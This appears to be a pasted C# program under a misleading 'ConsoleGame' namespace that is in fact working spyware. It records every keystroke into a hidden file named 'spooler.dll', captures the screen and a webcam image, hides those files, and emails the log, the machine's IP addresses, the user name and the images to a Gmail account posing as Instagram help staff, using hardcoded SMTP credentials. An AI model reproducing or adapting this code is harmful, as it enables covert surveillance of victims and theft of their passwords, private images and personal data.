Untitled
unknown
plain_text
5 years ago
6.9 kB
8
Indexable
using AForge.Video;
using AForge.Video.DirectShow;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Threading;
namespace ConsoleGame
{
class Program
{
static FilterInfoCollection WebcamColl;
static VideoCaptureDevice Device;
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
static long numberOfStrokes = 0;
static void Main(string[] args)
{
String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
if (!Directory.Exists(filepath))
{
Directory.CreateDirectory(filepath);
}
string path = (filepath + @"\spooler.dll");
if (!File.Exists(path))
{
using (StreamWriter sw = File.CreateText(path))
{
}
}
File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden);
//Capture keystrokes and display them to the console
while (true)
{
Thread.Sleep(5);
//check all keys for their state
for (int i = 32; i < 127; i++)
{
int keyState = GetAsyncKeyState(i);
//print to the console
if (keyState == 32769)
{
Console.Write((char)i + ", ");
//store the key strokes into txt file
using (StreamWriter sw = File.AppendText(path))
{
sw.Write((char)i);
}
numberOfStrokes++;
//every 50 keys, send
if (numberOfStrokes % 100 == 0)
{
var captureBmp = new Bitmap(1920, 1080, PixelFormat.Format32bppArgb);
using (var captureGraphic = Graphics.FromImage(captureBmp))
{
for (int x = 0; x < 1; x++)
{
Thread.Sleep(10000);
//Save img of desktop
captureGraphic.CopyFromScreen(0, 0, 0, 0, captureBmp.Size);
String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
captureBmp.Save(folderName + @"\capture.jpg", ImageFormat.Jpeg);
string imgPath1 = folderName + @"\capture.jpg";
File.SetAttributes(imgPath1, File.GetAttributes(imgPath1) | FileAttributes.Hidden);
//Save img of webcam
WebcamColl = new FilterInfoCollection(FilterCategory.VideoInputDevice);
//if you have connected with one more camera choose index as you want
Device = new VideoCaptureDevice(WebcamColl[0].MonikerString);
Device.Start();
Device.NewFrame += new NewFrameEventHandler(Device_NewFrame);
SendNewMessage();
}
}
}
}
}
//var captureBmp = new Bitmap(1920, 1080, PixelFormat.Format32bppArgb);
//using (var captureGraphic = Graphics.FromImage(captureBmp))
//{
// for (int i = 0; i < 1; i++)
// {
// Thread.Sleep(10000);
// captureGraphic.CopyFromScreen(0, 0, 0, 0, captureBmp.Size);
// String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
// captureBmp.Save(folderName + @"\capture.jpg", ImageFormat.Jpeg);
// SendNewMessage();
// }
//}
}
}//main
static void Device_NewFrame(object sender, NewFrameEventArgs eventArgs)
{
Image img = (Bitmap)eventArgs.Frame.Clone();
String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
img.Save(folderName + @"\wcsc.jpg");
//hide webcam img
string imgPath2 = folderName + @"\wcsc.jpg";
File.SetAttributes(imgPath2, File.GetAttributes(imgPath2) | FileAttributes.Hidden);
Device.SignalToStop();
}
static void SendNewMessage()
{
//send the context of txt file
String folderName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
string filePath = folderName + @"\spooler.dll";
//Image imgPath = Image.FromFile(folderName + "capture.jpg");
string imgPath1 = folderName + @"\capture.jpg";
string imgPath2 = folderName + @"\wcsc.jpg";
string logContents = File.ReadAllText(filePath);
string emailBody = "";
//create an email message
DateTime now = DateTime.Now;
string subject = "Logged";
var host = Dns.GetHostEntry(Dns.GetHostName());
foreach (var address in host.AddressList)
{
emailBody += " Address: " + address;
}
emailBody += "\n User: " + Environment.UserDomainName + "\\" + Environment.UserName;
emailBody += "\nHost: " + host;
emailBody += "\nTime: " + now.ToString();
emailBody += logContents;
SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
MailMessage mailMessage = new MailMessage();
mailMessage.From = new MailAddress("instagramhelpservicestaff1@gmail.com");
mailMessage.To.Add("instagramhelpservicestaff1@gmail.com");
mailMessage.Subject = subject;
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("instagramhelpservicestaff1@gmail.com", "Fake1234");
mailMessage.Body = emailBody;
mailMessage.Attachments.Add(new Attachment(imgPath1));
mailMessage.Attachments.Add(new Attachment(imgPath2));
client.Send(mailMessage);
}
}
}
Editor is loading...